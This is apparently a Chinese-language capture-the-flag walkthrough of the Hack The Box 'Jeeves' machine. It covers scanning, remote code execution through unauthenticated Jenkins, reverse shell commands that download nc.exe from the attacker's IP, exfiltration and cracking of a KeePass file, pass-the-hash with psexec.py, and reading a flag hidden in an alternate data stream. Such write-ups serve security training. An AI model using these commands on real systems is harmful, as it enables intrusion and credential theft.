Jeeves

1
2
3
4
5
ip a

10.129.228.112

TARGET="10.129.228.112"

01.信息搜集

靶机发现

目标靶机 ip 为 10.129.228.112

1
2
3
4
5
6
7
8
9
10
11
12
13
fscan -h $TARGET > fscan.log

# ===== 服务信息 =====
10.129.228.112:135 msrpc @
10.129.228.112:445 microsoft-ds SMB@ A <X H Re ) u Ma s * `( + 0 0 + 7 + 7
http://10.129.228.112:50000
http://10.129.228.112:80

# ===== Web服务 =====
http://10.129.228.112:50000
http://10.129.228.112:80

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

两个 http 一个 smb 服务

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
sudo nmap -sT -sV -sC -O -p 80,135,445,50000 $TARGET -oA nmapscan/detail

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found

Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows 10 1607 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 11 (86%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Vista or Windows 7 (86%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-07-14T09:48:13
|_  start_date: 2026-07-14T09:31:33
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: 4h59m40s, deviation: 0s, median: 4h59m40s

sudo nmap -Pn -sV -A -p 445 -T4 $TARGET

445 SMB

| smb-security-mode:
| account_used: blank
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_ clock-skew: mean: 4h59m40s, deviation: 0s, median: 4h59m40s

1
2
smbclient -L //10.129.228.112 -N
session setup failed: NT_STATUS_ACCESS_DENIED

80 端口

IIS 10.0
Ask Jeeves 服务 有search 一搜就报错

暂时没看到有效服务

50000

jetty 服务 这个 logo 好像 jenkins

Jetty 9.4.z-SNAPSHOT
404

1
2
3
gobuster dir -u http://10.129.228.112:80 -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50

gobuster dir -u http://10.129.228.112:50000 -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50

没有子目录 不过这里 jetty 是 java 服务 直接 common.txt 倒是搜不到什么

可能组合

1
2
3
4
5
6
7
AskJeeves
jeeves
Jenkins
jetty
ask
askjetty
askjenkins

看到了http://10.129.228.112:50000/askjeeves/ 就是 jenkins 服务
Jenkins ver.2.87

Jenkins

1
2
3
4
5
6
7
8
9
10
11
C:\Users\Administrator\.jenkins

 Configure Credentials
 	Providers	
All available
 	Types	
All available
 	Restrictions	
Add
Save
Apply

虽然没登录但是啥都能干?

新建任务弹个 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
构建命令:

certutil -urlcache -split -f http://10.10.17.30:9000/nc.exe nc.exe
nc.exe 10.10.17.30 1337 -e cmd.exe

保存然后构建

Started by user anonymous
Building in workspace C:\Users\Administrator.jenkins\workspace\free
[free] $ cmd /c call C:\Users\kohsuke\AppData\Local\Temp\jenkins6328286388095717104.bat
C:\Users\Administrator.jenkins\workspace\free>certutil -urlcache -split -f http://10.10.17.30:9000/nc.exe nc.exe
'certutil' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Administrator.jenkins\workspace\free>nc.exe 10.10.17.30 1337 -e cmd.exe
'nc.exe' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Administrator.jenkins\workspace\free>exit 9009
Build step 'Execute Windows batch command' marked build as failure
Finished: FAILURE


居然没有这个certutil ?

C:\Users\Administrator.jenkins\workspace\free > C:\Users\kohsuke

发现新用户了倒是

powershell救一下
powershell -Command "Invoke-WebRequest -Uri http://10.10.17.30:9000/nc.exe -OutFile nc.exe"
nc.exe 10.10.17.30 1337 -e cmd.exe

::ffff:10.129.228.112 - - [14/Jul/2026 13:39:44] "GET /nc.exe HTTP/1.1" 200 - 看到下载了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
win10
C:\Users\Administrator\.jenkins\workspace\free>whoami
whoami
jeeves\kohsuke

C:\Users\Administrator\.jenkins>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1
 Directory of C:\Users\Administrator\.jenkins

07/14/2026  06:34 AM    <DIR>          .
07/14/2026  06:34 AM    <DIR>          ..
11/08/2017  05:45 PM                48 .owner
07/14/2026  05:32 AM             1,684 config.xml
07/14/2026  05:32 AM               156 hudson.model.UpdateCenter.xml
07/14/2026  06:21 AM             1,178 hudson.plugins.emailext.ExtendedEmailPublisher.xml
11/03/2017  10:43 PM               374 hudson.plugins.git.GitTool.xml
11/03/2017  10:33 PM             1,712 identity.key.enc
11/03/2017  10:46 PM                94 jenkins.CLI.xml
07/14/2026  05:48 AM            85,013 jenkins.err.log
11/03/2017  10:47 PM           360,448 jenkins.exe
11/03/2017  10:47 PM               331 jenkins.exe.config
07/14/2026  05:32 AM                 4 jenkins.install.InstallUtil.lastExecVersion
11/03/2017  10:45 PM                 4 jenkins.install.UpgradeWizard.state
11/03/2017  10:46 PM               138 jenkins.model.DownloadSettings.xml
07/14/2026  05:31 AM             3,024 jenkins.out.log
07/14/2026  05:31 AM                 4 jenkins.pid
11/03/2017  10:46 PM               169 jenkins.security.QueueItemAuthenticatorConfiguration.xml
11/03/2017  10:46 PM               162 jenkins.security.UpdateSiteWarningsConfiguration.xml
11/03/2017  10:47 PM        74,271,222 jenkins.war
07/14/2026  05:31 AM            38,573 jenkins.wrapper.log
11/03/2017  10:49 PM             2,881 jenkins.xml
07/14/2026  06:31 AM    <DIR>          jobs
11/03/2017  10:33 PM    <DIR>          logs
07/14/2026  05:32 AM               907 nodeMonitors.xml
11/03/2017  10:33 PM    <DIR>          nodes
11/03/2017  10:44 PM    <DIR>          plugins
11/03/2017  10:47 PM               129 queue.xml.bak
11/03/2017  10:33 PM                64 secret.key
11/03/2017  10:33 PM                 0 secret.key.not-so-secret
07/14/2026  06:34 AM    <DIR>          secrets
11/08/2017  09:52 AM    <DIR>          updates
11/03/2017  10:33 PM    <DIR>          userContent
11/03/2017  10:33 PM    <DIR>          users
11/03/2017  10:47 PM    <DIR>          war
11/03/2017  10:43 PM    <DIR>          workflow-libs
07/14/2026  06:34 AM    <DIR>          workspace
              24 File(s)     74,768,319 bytes
              13 Dir(s)   2,647,789,568 bytes free

现在已经是已知运行服务的最高权限了

H4cker/AredTeam/笔记整理/05-Windows权限提升/凭证窃取与LSASS

看看这个技法 能不能想办法搞到其他凭证

Windows 凭据管理

文件 位置 说明
NTUSER.DAT C:\Users\<User>\ 用户注册表配置单元（含 RecentDocs, TypedPaths）
SAM C:\Windows\System32\config\ 本地用户哈希（工作组环境）
NTDS.dit C:\Windows\NTDS\ 域用户哈希（域控制器）
SYSTEM C:\Windows\System32\config\ 加密密钥
.kdbx 用户目录 KeePass 密码数据库

用户目录没看到 NTUSER.DAT

1
2
3
4
5
 Directory of C:\Users\kohsuke\Documents

11/03/2017  11:18 PM    <DIR>          .
11/03/2017  11:18 PM    <DIR>          ..
09/18/2017  01:43 PM             2,846 CEH.kdbx

密码数据库?

1
2
3
4
nc -lvnp 1234 > jevees.kdbx

cd C:\Users\Administrator\.jenkins\workspace\free
nc.exe -w 3 10.10.17.30 1234 < C:\Users\kohsuke\Documents\CEH.kdbx

KeePass/.kdbx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[kali]
keepass2john jevees.kdbx > jevees.hash

john jevees.hash

moonshine1

kpcli --kdb jevees.kdbx


kpcli:/> cd CEH/
kpcli:/CEH> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Windows/
=== Entries ===
0. Backup stuff
1. Bank of America                                   www.bankofamerica.com
2. DC Recovery PW
3. EC-Council                               www.eccouncil.org/programs/cer
4. It's a secret                                 localhost:8180/secret.jsp
5. Jenkins admin                                            localhost:8080
6. Keys to the kingdom
7. Walmart.com                                             www.walmart.com

backup 和 secret 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kpcli:/CEH> show 0

Title: Backup stuff
Uname: ?
 Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
  URL:
Notes:

kpcli:/CEH> show 4

Title: It's a secret
Uname: admin
 Pass: F7WhTrSFDKB6sxHU1cUn
  URL: http://localhost:8180/secret.jsp
Notes:

kpcli:/CEH>

这哈希长度 NTML 了

参考H4cker/AredTeam/笔记整理/06-AD域渗透/横向移动

场景 推荐方案 条件
NTLM 未禁用 + SMB 未签名 PSExec (PTH) 445 可达 
1
2
3
4
# NTLM 哈希（Pass-the-Hash）
psexec.py -hashes :<NT_HASH> domain.htb/username@<TARGET_IP>

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 jeeves/Administrator@10.129.228.112

还有一关

1
2
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

dir /a
输出所有文件

dir /R
检查文件是否包含 备用数据流（ADS，仅 NTFS）
/R 参数会列出文件的所有备用数据流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
C:\Users\Administrator\Desktop> dir /R
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   2,647,449,600 bytes free

C:\Users\Administrator\Desktop> type hm.txt:root.txt:$DATA
The filename, directory name, or volume label syntax is incorrect.


more < hm.txt:root.txt
或者
notepad hm.txt:root.txt
````

ok

端口扫描 → Jetty/Jenkins 发现 → Freestyle 构建执行 → kohsuke Shell
→ CEH.kdbx 发现 → KeePass 破解 → NTLM Hash 获取
→ Pass-the-Hash (psexec.py) → Administrator Shell
→ Alternate Data Stream → root.txt

技术 要点
Jenkins 利用 Freestyle Project + Build Step 执行任意命令
文件下载绕过 certutil → PowerShell，多种下载方法
KeePass 利用 keepass2john 提取哈希，破解获取凭据
Pass-the-Hash 用 NTLM 哈希直接认证，无需明文密码
ADS 数据流 NTFS 备用数据流隐藏文件，需要 /R + PowerShell 读取 

![](https://obsidian-1324809336.cos.ap-guangzhou.myqcloud.com/Jeeves-2026-0714-14%3A20%3A04-1.png?q-sign-algorithm=sha1&q-ak=AKIDzve9PPGMFtSt52mHXYK2ZwCFiyzkGXZN&q-sign-time=1784010004;4937610004&q-key-time=1784010004;4937610004&q-header-list=host&q-url-param-list=&q-signature=7b36897e97e4a4bce2251d05f49283adeb294686&response-content-disposition=inline)